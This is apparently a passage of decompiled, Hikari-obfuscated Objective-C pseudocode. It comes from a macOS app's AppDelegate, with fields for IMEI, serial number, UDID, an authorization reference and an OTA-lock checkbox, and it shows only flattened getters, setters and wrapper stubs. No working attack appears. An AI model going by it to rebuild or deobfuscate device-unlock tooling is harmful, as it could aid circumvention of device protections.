int v7; // [rsp+14h] [rbp-24h] BYREF
int *v8; // [rsp+18h] [rbp-20h]
v7 = 375174936;
v8 = &v7;
p_lockOtaChecked = &self->_lockOtaChecked;
do
{
while ( 1 )
{
while ( v7 > 375174935 )
{
if ( v7 > 1149472947 )
{
switch ( v7 )
{
case 1149472948:
*v8 = -616654048;
break;
case 1299712386:
*v8 = -1194248151;
break;
case 1339481957:
*v8 = 496815140;
break;
}
}
else
{
switch ( v7 )
{
case 375174936:
v3 = -616654048;
goto LABEL_26;
case 496815140:
v3 = -1147491323;
LABEL_26:
*v8 = v3;
break;
case 556377173:
*v8 = -1575932746;
break;
}
}
}
if ( v7 > -1147491324 )
break;
switch ( v7 )
{
case -1575932746:
v3 = -1194248151;
goto LABEL_26;
case -1247335539:
*v8 = 53610094;
break;
case -1194248151:
v6 = *v5;
v3 = -1247335539;
goto LABEL_26;
}
}
if ( v7 == -616654048 )
{
v5 = p_lockOtaChecked;
v3 = 556377173;
goto LABEL_26;
}
if ( v7 == 53610094 )
{
v3 = 496815140;
goto LABEL_26;
}
}
while ( v7 != -1147491323 );
return v6;
}
// 1002199C6: conditional instruction was optimized away because %var_28.4==57316169
// 100219898: variable 'v5' is possibly undefined
// 100219A7E: variable 'v6' is possibly undefined
//----- (0000000100219A89) ----------------------------------------------------
void __cdecl -[AppDelegate setLockOtaChecked:](AppDelegate *self, SEL a2, id a3)
{
NSButton **p_lockOtaChecked; // rdi
int v4; // eax
NSButton **v5; // [rsp+0h] [rbp-20h]
NSButton *v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+14h] [rbp-Ch] BYREF
int *v8; // [rsp+18h] [rbp-8h]
v7 = 673805288;
v8 = &v7;
p_lockOtaChecked = &self->_lockOtaChecked;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 1826093799 )
{
switch ( v7 )
{
case -1721727570:
*v5 = v6;
*v8 = 2040605099;
break;
case -420008445:
v5 = p_lockOtaChecked;
v6 = (NSButton *)a3;
v4 = 2080072645;
LABEL_12:
*v8 = v4;
break;
case 673805288:
v4 = -420008445;
goto LABEL_12;
}
}
if ( v7 != 1826093800 )
break;
*v8 = -420008445;
}
if ( v7 != 2080072645 )
break;
*v8 = -1721727570;
}
}
while ( v7 != 2040605099 );
}
// 100219B08: conditional instruction was optimized away because %var_10.4==1
// 100219B30: variable 'v6' is possibly undefined
// 100219B30: variable 'v5' is possibly undefined
//----- (0000000100219B99) ----------------------------------------------------
NSImageView *__cdecl -[AppDelegate backgroundImage](AppDelegate *self, SEL a2)
{
NSImageView **p_backgroundImage; // rbx
int v3; // eax
int v5; // [rsp+4h] [rbp-3Ch] BYREF
id WeakRetained; // [rsp+8h] [rbp-38h]
int *v7; // [rsp+10h] [rbp-30h]
v5 = 1735216196;
v7 = &v5;
p_backgroundImage = &self->_backgroundImage;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v5 <= -7133377 )
{
if ( v5 > -558587238 )
{
if ( v5 == -558587237 )
{
*v7 = 209033709;
}
else if ( v5 == -457798422 )
{
v3 = -1790819120;
LABEL_17:
*v7 = v3;
}
}
else if ( v5 == -1954004994 )
{
*v7 = -457798422;
}
else if ( v5 == -1790819120 )
{
objc_autoreleaseReturnValue(WeakRetained);
v3 = -558587237;
goto LABEL_17;
}
}
if ( v5 <= 1735216195 )
break;
if ( v5 == 1835470481 )
{
WeakRetained = objc_loadWeakRetained((id *)p_backgroundImage);
*v7 = -1954004994;
}
else if ( v5 == 1735216196 )
{
v3 = 1835470481;
goto LABEL_17;
}
}
if ( v5 != -7133376 )
break;
objc_autoreleaseReturnValue(WeakRetained);
*v7 = -1790819120;
}
if ( v5 != 912192753 )
break;
objc_loadWeakRetained((id *)p_backgroundImage);
*v7 = 1835470481;
}
}
while ( v5 != 209033709 );
return (NSImageView *)WeakRetained;
}
// 100219C91: conditional instruction was optimized away because r13d.4==B294ED72
// 100219CB5: conditional instruction was optimized away because %var_40.4==E1043E1E
//----- (0000000100219D8C) ----------------------------------------------------
void __cdecl -[AppDelegate setBackgroundImage:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
id *location; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
location = (id *)&self->_backgroundImage;
v6 = 53102094;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > -246486706 )
{
if ( v6 > 809863530 )
{
if ( v6 == 809863531 )
{
v4 = -246486705;
LABEL_19:
*v7 = v4;
}
else if ( v6 == 1025990020 )
{
objc_storeWeak(location, a3);
*v7 = -2028539729;
}
}
else
{
if ( v6 == -246486705 )
{
v4 = -248198225;
goto LABEL_19;
}
if ( v6 == 53102094 )
{
v4 = -2028539729;
goto LABEL_19;
}
}
}
if ( v6 > -1024696239 )
break;
if ( v6 == -2028539729 )
{
objc_storeWeak(location, a3);
v4 = -1880129253;
goto LABEL_19;
}
if ( v6 == -1880129253 )
*v7 = 809863531;
}
if ( v6 != -1024696238 )
break;
*v7 = -246486705;
}
}
while ( v6 != -248198225 );
}
//----- (0000000100219F70) ----------------------------------------------------
NSImageView *__cdecl -[AppDelegate imageView](AppDelegate *self, SEL a2)
{
int v2; // eax
id v3; // rax
NSImageView *WeakRetained; // [rsp+8h] [rbp-48h]
id *location; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
v7 = 1427470220;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= -129658523 )
{
if ( v7 > -872664613 )
{
switch ( v7 )
{
case -872664612:
*v8 = 769290521;
break;
case -817571629:
v2 = 1732017202;
LABEL_27:
*v8 = v2;
break;
case -344975236:
*v8 = -1323519424;
break;
}
}
else
{
switch ( v7 )
{
case -2091865278:
*v8 = -817571629;
break;
case -1776213112:
WeakRetained = (NSImageView *)objc_loadWeakRetained(location);
objc_autoreleaseReturnValue(WeakRetained);
v2 = 897174168;
goto LABEL_27;
case -1323519424:
location = (id *)&self->_imageView;
v2 = -872664612;
goto LABEL_27;
}
}
}
if ( v7 > 1427470219 )
break;
switch ( v7 )
{
case -129658522:
v2 = -817571629;
goto LABEL_27;
case 769290521:
v2 = -1776213112;
goto LABEL_27;
case 897174168:
*v8 = -129658522;
break;
}
}
if ( v7 == 1427470220 )
{
v2 = -1323519424;
goto LABEL_27;
}
if ( v7 != 1431237115 )
break;
v3 = objc_loadWeakRetained(location);
objc_autoreleaseReturnValue(v3);
*v8 = -1776213112;
}
}
while ( v7 != 1732017202 );
return WeakRetained;
}
// 10021A151: conditional instruction was optimized away because %var_38.4==0
// 10021A0C5: variable 'location' is possibly undefined
// 10021A23C: variable 'WeakRetained' is possibly undefined
//----- (000000010021A24F) ----------------------------------------------------
void __cdecl -[AppDelegate setImageView:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
char v5; // cf
int v6; // ecx
id *location; // [rsp+0h] [rbp-40h]
int v8; // [rsp+Ch] [rbp-34h] BYREF
int *v9; // [rsp+10h] [rbp-30h]
v8 = 1878081476;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v8 <= 396891832 )
{
if ( v8 > -354170579 )
{
if ( v8 == -354170578 )
{
objc_storeWeak(location, a3);
*v9 = 1221699819;
}
else if ( v8 == -13785714 )
{
v5 = 1;
location = (id *)&self->_imageView;
v4 = 1342704387;
v6 = 396891833;
goto LABEL_19;
}
}
else if ( v8 == -1888236040 )
{
v5 = 0;
v4 = 1221699819;
v6 = -354170578;
LABEL_19:
if ( v5 )
v4 = v6;
LABEL_21:
*v9 = v4;
}
else if ( v8 == -585172167 )
{
*v9 = 1702046185;
}
}
if ( v8 > 1342704386 )
break;
if ( v8 == 396891833 )
{
*v9 = -1888236040;
}
else if ( v8 == 1221699819 )
{
objc_storeWeak(location, a3);
v4 = -585172167;
goto LABEL_21;
}
}
if ( v8 != 1342704387 )
break;
*v9 = -13785714;
}
if ( v8 == 1878081476 )
{
v4 = -13785714;
goto LABEL_21;
}
}
while ( v8 != 1702046185 );
}
// 10021A2DE: conditional instruction was optimized away because %var_38.4==CEE4A694
// 10021A34A: variable 'location' is possibly undefined
//----- (000000010021A465) ----------------------------------------------------
NSProgressIndicator *__cdecl -[AppDelegate Progress](AppDelegate *self, SEL a2)
{
NSProgressIndicator **p_Progress; // rbx
int v3; // eax
id WeakRetained; // rax
char v5; // cf
int v7; // [rsp+4h] [rbp-3Ch] BYREF
id v8; // [rsp+8h] [rbp-38h]
int *v9; // [rsp+10h] [rbp-30h]
v7 = -101501667;
v9 = &v7;
p_Progress = &self->_Progress;
do
{
while ( 1 )
{
while ( v7 > -101501668 )
{
if ( v7 > 914842839 )
{
switch ( v7 )
{
case 914842840:
objc_loadWeakRetained((id *)p_Progress);
*v9 = -1369589087;
break;
case 1601094007:
*v9 = 368001740;
break;
case 1628442316:
*v9 = -258465086;
break;
}
}
else
{
switch ( v7 )
{
case -101501667:
v5 = 0;
v3 = 914842840;
LABEL_22:
if ( !v5 )
v3 = -1369589087;
LABEL_29:
*v9 = v3;
break;
case 368001740:
v3 = -933102890;
goto LABEL_29;
case 865041395:
*v9 = -1533228131;
break;
}
}
}
if ( v7 <= -833125425 )
break;
switch ( v7 )
{
case -833125424:
objc_autoreleaseReturnValue(v8);
*v9 = -358514524;
break;
case -358514524:
objc_autoreleaseReturnValue(v8);
*v9 = 865041395;
break;
case -258465086:
v3 = -358514524;
goto LABEL_29;
}
}
if ( v7 == -1533228131 )
{
v3 = 368001740;
goto LABEL_29;
}
if ( v7 == -1369589087 )
{
WeakRetained = objc_loadWeakRetained((id *)p_Progress);
v5 = 1;
v8 = WeakRetained;
v3 = 1628442316;
goto LABEL_22;
}
}
while ( v7 != -933102890 );
return (NSProgressIndicator *)v8;
}
//----- (000000010021A6E3) ----------------------------------------------------
void __cdecl -[AppDelegate setProgress:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
int v5; // [rsp+Ch] [rbp-24h] BYREF
int *v6; // [rsp+10h] [rbp-20h]
v5 = 1609623320;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 <= 1053264937 )
{
if ( v5 == -1744051032 )
{
v4 = 1053264938;
LABEL_11:
*v6 = v4;
}
else if ( v5 == -1589638020 )
{
*v6 = -1744051032;
}
}
if ( v5 != 1609623320 )
break;
objc_storeWeak((id *)&self->_Progress, a3);
*v6 = 1949002714;
}
if ( v5 == 1949002714 )
{
v4 = -1744051032;
goto LABEL_11;
}
}
while ( v5 != 1053264938 );
}
//----- (000000010021A840) ----------------------------------------------------
NSProgressIndicator *__cdecl -[AppDelegate progressIndicator](AppDelegate *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+8h] [rbp-48h]
NSProgressIndicator *WeakRetained; // [rsp+10h] [rbp-40h]
int v6; // [rsp+1Ch] [rbp-34h] BYREF
int *v7; // [rsp+20h] [rbp-30h]
v6 = -612069317;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 1649571905 )
{
if ( v6 > 544353345 )
{
if ( v6 == 544353346 )
{
v2 = 1277387869;
LABEL_20:
*v7 = v2;
}
else if ( v6 == 1277387869 )
{
WeakRetained = (NSProgressIndicator *)objc_loadWeakRetained(location);
v2 = 1773812730;
goto LABEL_20;
}
}
else if ( v6 == -985179891 )
{
*v7 = 1750878384;
}
else if ( v6 == -612069317 )
{
v2 = 1750878384;
goto LABEL_20;
}
}
if ( v6 > 1773812729 )
break;
if ( v6 == 1649571906 )
{
objc_loadWeakRetained(location);
*v7 = 1277387869;
}
else if ( v6 == 1750878384 )
{
location = (id *)&self->_progressIndicator;
v2 = 1864117994;
goto LABEL_20;
}
}
if ( v6 != 1773812730 )
break;
*v7 = 2099629396;
}
if ( v6 != 1864117994 )
break;
*v7 = 544353346;
}
}
while ( v6 != 2099629396 );
objc_autoreleaseReturnValue(WeakRetained);
return WeakRetained;
}
// 10021A8E3: conditional instruction was optimized away because %var_38.4==0
// 10021A9A8: variable 'location' is possibly undefined
// 10021AA4E: variable 'WeakRetained' is possibly undefined
//----- (000000010021AA66) ----------------------------------------------------
void __cdecl -[AppDelegate setProgressIndicator:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
id *location; // [rsp+8h] [rbp-38h]
int v6; // [rsp+14h] [rbp-2Ch] BYREF
int *v7; // [rsp+18h] [rbp-28h]
location = (id *)&self->_progressIndicator;
v6 = -170717049;
v7 = &v6;
do
{
while ( 1 )
{
while ( v6 > 685249230 )
{
if ( v6 > 1582298375 )
{
if ( v6 == 1582298376 )
{
*v7 = 60741841;
}
else if ( v6 == 1738756380 )
{
objc_storeWeak(location, a3);
v4 = 1582298376;
goto LABEL_18;
}
}
else if ( v6 == 685249231 )
{
objc_storeWeak(location, a3);
LABEL_20:
*v7 = 1738756380;
}
else if ( v6 == 996777065 )
{
*v7 = 447745213;
}
}
if ( v6 <= 60741840 )
break;
if ( v6 == 60741841 )
{
v4 = 447745213;
LABEL_18:
*v7 = v4;
}
else if ( v6 == 447745213 )
{
*v7 = -1957135568;
}
}
if ( v6 == -170717049 )
goto LABEL_20;
}
while ( v6 != -1957135568 );
}
//----- (000000010021ABF4) ----------------------------------------------------
AuthorizationOpaqueRef *__cdecl -[AppDelegate authRef](AppDelegate *self, SEL a2)
{
AuthorizationOpaqueRef **p_authRef; // rdi
int v3; // r8d
AuthorizationOpaqueRef **v5; // [rsp+0h] [rbp-20h]
AuthorizationOpaqueRef *v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+14h] [rbp-Ch] BYREF
int *v8; // [rsp+18h] [rbp-8h]
v7 = -547334170;
v8 = &v7;
p_authRef = &self->_authRef;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= -31363162 )
{
if ( v7 > -359493489 )
{
if ( v7 == -359493488 )
{
*v8 = 148587390;
}
else if ( v7 == -32243608 )
{
*v8 = -31363161;
}
}
else if ( v7 == -1590239222 )
{
v6 = *v5;
*v8 = -359493488;
}
else if ( v7 == -547334170 )
{
v3 = -31363161;
goto LABEL_21;
}
}
if ( v7 <= 351495454 )
break;
if ( v7 == 351495455 )
{
*v8 = 275814319;
}
else if ( v7 == 697027453 )
{
*v8 = -1590239222;
}
}
if ( v7 != -31363161 )
break;
v5 = p_authRef;
v3 = 351495455;
LABEL_21:
*v8 = v3;
}
if ( v7 == 275814319 )
{
v3 = -1590239222;
goto LABEL_21;
}
}
while ( v7 != 148587390 );
return v6;
}
// 10021AD73: variable 'v5' is possibly undefined
// 10021AE08: variable 'v6' is possibly undefined
//----- (000000010021AE0E) ----------------------------------------------------
void __cdecl -[AppDelegate setAuthRef:](AppDelegate *self, SEL a2, AuthorizationOpaqueRef *a3)
{
AuthorizationOpaqueRef **p_authRef; // rdi
int v4; // ebx
AuthorizationOpaqueRef **v5; // [rsp+0h] [rbp-30h]
int v6; // [rsp+Ch] [rbp-24h] BYREF
int *v7; // [rsp+10h] [rbp-20h]
v6 = -772474205;
v7 = &v6;
p_authRef = &self->_authRef;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > -467367337 )
{
if ( v6 > 1500616126 )
{
switch ( v6 )
{
case 1500616127:
v4 = -1213941533;
goto LABEL_27;
case 1674269848:
v4 = -1980124031;
LABEL_27:
*v7 = v4;
break;
case 1690321950:
*v7 = 1500616127;
break;
}
}
else
{
switch ( v6 )
{
case -467367336:
*v7 = 1674269848;
break;
case 543338448:
v5 = p_authRef;
v4 = 1690321950;
goto LABEL_27;
case 963798948:
*v5 = a3;
*v7 = -1213941533;
break;
}
}
}
if ( v6 <= -1221984908 )
break;
switch ( v6 )
{
case -1221984907:
*v7 = 543338448;
break;
case -1213941533:
*v5 = a3;
v4 = -467367336;
goto LABEL_27;
case -772474205:
v4 = 543338448;
goto LABEL_27;
}
}
if ( v6 == -1980124031 )
{
v4 = -1726820217;
goto LABEL_27;
}
if ( v6 != -1552781630 )
break;
*v7 = -1980124031;
}
}
while ( v6 != -1726820217 );
}
// 10021AEEF: conditional instruction was optimized away because %var_28.4==79B73C48
// 10021AEB0: variable 'v5' is possibly undefined
//----- (000000010021B0D5) ----------------------------------------------------
NSWindow *__cdecl -[AppDelegate window](AppDelegate *self, SEL a2)
{
NSWindow *Property; // [rsp+8h] [rbp-18h]
int v4; // [rsp+14h] [rbp-Ch] BYREF
int *v5; // [rsp+18h] [rbp-8h]
Property = (NSWindow *)objc_getProperty(self, a2, 152, 1);
v4 = -1931425386;
v5 = &v4;
do
{
while ( v4 <= -447962783 )
{
if ( v4 == -2011378392 )
{
*v5 = 181177123;
}
else if ( v4 == -1931425386 )
{
LABEL_7:
*v5 = -2011378392;
}
}
if ( v4 == -447962782 )
goto LABEL_7;
}
while ( v4 != 181177123 );
return Property;
}
//----- (000000010021B148) ----------------------------------------------------
void __cdecl -[AppDelegate setWindow:](AppDelegate *self, SEL a2, id a3)
{
int v3; // esi
int v4; // [rsp+4h] [rbp-Ch] BYREF
int *v5; // [rsp+8h] [rbp-8h]
HikariFunctionWrapper_19367(self, a2, a3, 152);
v4 = -989838287;
v5 = &v4;
do
{
while ( 1 )
{
while ( v4 <= -286461305 )
{
if ( v4 == -1166357375 )
{
*v5 = -199009948;
}
else if ( v4 == -989838287 )
{
v3 = -199009948;
goto LABEL_8;
}
}
if ( v4 != -199009948 )
break;
v3 = -286461304;
LABEL_8:
*v5 = v3;
}
}
while ( v4 != -286461304 );
}
//----- (000000010021B278) ----------------------------------------------------
NSWindow *__cdecl -[AppDelegate floatingWindow](AppDelegate *self, SEL a2)
{
int v2; // eax
NSWindow *Property; // [rsp+0h] [rbp-40h]
int v5; // [rsp+Ch] [rbp-34h] BYREF
int *v6; // [rsp+10h] [rbp-30h]
v5 = 1898378635;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 > 869784911 )
{
if ( v5 > 1684756803 )
{
if ( v5 == 1684756804 )
{
objc_getProperty(self, a2, 160, 1);
*v6 = 514650694;
}
else if ( v5 == 1898378635 )
{
v2 = 514650694;
goto LABEL_18;
}
}
else if ( v5 == 869784912 )
{
v2 = -602926649;
LABEL_18:
*v6 = v2;
}
else if ( v5 == 1031913055 )
{
*v6 = -602926649;
}
}
if ( v5 <= 514650693 )
break;
if ( v5 == 514650694 )
{
Property = (NSWindow *)objc_getProperty(self, a2, 160, 1);
v2 = 869502843;
goto LABEL_18;
}
if ( v5 == 869502843 )
*v6 = 869784912;
}
if ( v5 == -602926649 )
{
v2 = -541766925;
goto LABEL_18;
}
}
while ( v5 != -541766925 );
return Property;
}
// 10021B339: conditional instruction was optimized away because %var_38.4==6A0E9958
// 10021B47B: variable 'Property' is possibly undefined
//----- (000000010021B48E) ----------------------------------------------------
void __cdecl -[AppDelegate setFloatingWindow:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
int v5; // [rsp+Ch] [rbp-34h] BYREF
int *v6; // [rsp+10h] [rbp-30h]
v5 = 367007534;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 > 766199943 )
{
if ( v5 > 1059376790 )
{
if ( v5 == 1059376791 )
{
objc_setProperty_atomic(self, a2, a3, 160);
v4 = 766199944;
LABEL_19:
*v6 = v4;
}
else if ( v5 == 1474300344 )
{
*v6 = -1239374773;
}
}
else if ( v5 == 766199944 )
{
*v6 = -42529987;
}
else if ( v5 == 831972605 )
{
objc_setProperty_atomic(self, a2, a3, 160);
*v6 = 1059376791;
}
}
if ( v5 > 189020167 )
break;
if ( v5 == -1239374773 )
{
*v6 = 189020168;
}
else if ( v5 == -42529987 )
{
v4 = -1239374773;
goto LABEL_19;
}
}
if ( v5 == 367007534 )
{
v4 = 1059376791;
goto LABEL_19;
}
}
while ( v5 != 189020168 );
}
// 10021B5C4: conditional instruction was optimized away because %var_38.4==F44CB454
//----- (000000010021B65E) ----------------------------------------------------
void __cdecl -[AppDelegate .cxx_destruct](AppDelegate *self, SEL a2)
{
NSTextField **p_ac_imeiField; // r12
NSTextField **p_ac_SerialNumber; // r13
NSTextField **p_ac_productField; // rbx
NSTextField **p_ac_modelField; // r14
int v6; // eax
id *p_backgroundImage; // [rsp+10h] [rbp-70h]
id *p_Model_Image; // [rsp+18h] [rbp-68h]
id *p_panel_viewConnection; // [rsp+20h] [rbp-60h]
id *p_ac_progress; // [rsp+28h] [rbp-58h]
id *p_ac_RCField; // [rsp+30h] [rbp-50h]
id *p_ac_versionField; // [rsp+38h] [rbp-48h]
id *p_ac_udidField; // [rsp+40h] [rbp-40h]
int v14; // [rsp+4Ch] [rbp-34h] BYREF
int *v15; // [rsp+50h] [rbp-30h]
objc_storeStrong((id *)&self->_floatingWindow, 0);
objc_storeStrong((id *)&self->_window, 0);
objc_destroyWeak((id *)&self->_progressIndicator);
objc_destroyWeak((id *)&self->_Progress);
v14 = -1584268146;
v15 = &v14;
p_backgroundImage = (id *)&self->_backgroundImage;
p_Model_Image = (id *)&self->_Model_Image;
p_panel_viewConnection = (id *)&self->_panel_viewConnection;
p_ac_progress = (id *)&self->ac_progress;
p_ac_RCField = (id *)&self->ac_RCField;
p_ac_versionField = (id *)&self->ac_versionField;
p_ac_udidField = (id *)&self->ac_udidField;
p_ac_imeiField = &self->ac_imeiField;
p_ac_SerialNumber = &self->ac_SerialNumber;
p_ac_productField = &self->ac_productField;
p_ac_modelField = &self->ac_modelField;
do
{
while ( 1 )
{
while ( v14 <= -1435097793 )
{
if ( v14 == -2078556888 )
{
objc_destroyWeak(p_backgroundImage);
objc_destroyWeak(p_Model_Image);
objc_destroyWeak(p_panel_viewConnection);
objc_storeStrong(p_ac_progress, 0);
objc_storeStrong(p_ac_RCField, 0);
objc_storeStrong(p_ac_versionField, 0);
objc_storeStrong(p_ac_udidField, 0);
objc_storeStrong((id *)p_ac_imeiField, 0);
objc_storeStrong((id *)p_ac_SerialNumber, 0);
objc_storeStrong((id *)p_ac_productField, 0);
objc_storeStrong((id *)p_ac_modelField, 0);
v6 = -1235820320;
LABEL_11:
*v15 = v6;
}
else if ( v14 == -1584268146 )
{
objc_destroyWeak((id *)&self->_imageView);
*v15 = -293313082;
}
}
if ( v14 != -1435097792 )
break;
objc_destroyWeak(p_backgroundImage);
objc_destroyWeak(p_Model_Image);
objc_destroyWeak(p_panel_viewConnection);
objc_storeStrong(p_ac_progress, 0);
objc_storeStrong(p_ac_RCField, 0);
objc_storeStrong(p_ac_versionField, 0);
objc_storeStrong(p_ac_udidField, 0);
objc_storeStrong((id *)p_ac_imeiField, 0);
objc_storeStrong((id *)p_ac_SerialNumber, 0);
objc_storeStrong((id *)p_ac_productField, 0);
objc_storeStrong((id *)p_ac_modelField, 0);
*v15 = -2078556888;
}
if ( v14 == -293313082 )
{
v6 = -2078556888;
goto LABEL_11;
}
}
while ( v14 != -1235820320 );
}
//----- (000000010021B8D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_10(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021B8E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16727(void *a1, const char *a2)
{
return HikariFunctionWrapper_10(a1, a2);
}
//----- (000000010021B8F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16728(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021B900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16729(void *a1, const char *a2)
{
return HikariFunctionWrapper_16728(a1, a2);
}
//----- (000000010021B910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16730(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021B920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16731(void *a1, const char *a2)
{
return HikariFunctionWrapper_16730(a1, a2);
}
//----- (000000010021B930) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16732(__int64 a1)
{
return AMDeviceNotificationSubscribeWithOptions(a1);
}
// 10025617A: using guessed type __int64 __fastcall AMDeviceNotificationSubscribeWithOptions(_QWORD);
//----- (000000010021B940) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_16733(__int64 a1)
{
return HikariFunctionWrapper_16732(a1);
}
//----- (000000010021B950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16734(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021B960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16735(NSString *a1)
{
HikariFunctionWrapper_16734(a1);
}
//----- (000000010021B970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16736(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021B980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16737(void *a1, const char *a2)
{
return HikariFunctionWrapper_16736(a1, a2);
}
//----- (000000010021B990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16738(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021B9A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16739(void *a1, const char *a2)
{
HikariFunctionWrapper_16738(a1, a2);
}
//----- (000000010021B9B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16740(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021B9C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16741(void *a1, const char *a2)
{
HikariFunctionWrapper_16740(a1, a2);
}
//----- (000000010021B9D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16742(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021B9E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16743(void *a1, const char *a2)
{
HikariFunctionWrapper_16742(a1, a2);
}
//----- (000000010021B9F0) ----------------------------------------------------
NSDictionary *HikariFunctionWrapper_16744()
{
return CheckVersion();
}
//----- (000000010021BA00) ----------------------------------------------------
NSDictionary *HikariFunctionWrapper_16745()
{
return HikariFunctionWrapper_16744();
}
//----- (000000010021BA10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16746(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BA20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16747(void *a1, const char *a2)
{
return HikariFunctionWrapper_16746(a1, a2);
}
//----- (000000010021BA30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16748(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BA40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16749(void *a1, const char *a2)
{
return HikariFunctionWrapper_16748(a1, a2);
}
//----- (000000010021BA50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16750(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BA60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16751(void *a1, const char *a2)
{
return HikariFunctionWrapper_16750(a1, a2);
}
//----- (000000010021BA70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16752(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BA80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16753(void *a1, const char *a2)
{
return HikariFunctionWrapper_16752(a1, a2);
}
//----- (000000010021BA90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16754(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BAA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16755(void *a1, const char *a2)
{
return HikariFunctionWrapper_16754(a1, a2);
}
//----- (000000010021BAB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16756(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BAC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16757(void *a1, const char *a2)
{
return HikariFunctionWrapper_16756(a1, a2);
}
//----- (000000010021BAD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16758(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BAE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16759(void *a1, const char *a2)
{
return HikariFunctionWrapper_16758(a1, a2);
}
//----- (000000010021BAF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16760(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021BB00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_16761(void *a1, const char *a2)
{
return HikariFunctionWrapper_16760(a1, a2);
}
//----- (000000010021BB10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16762(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021BB20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16763(NSString *a1)
{
HikariFunctionWrapper_16762(a1);
}
//----- (000000010021BB30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16764(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
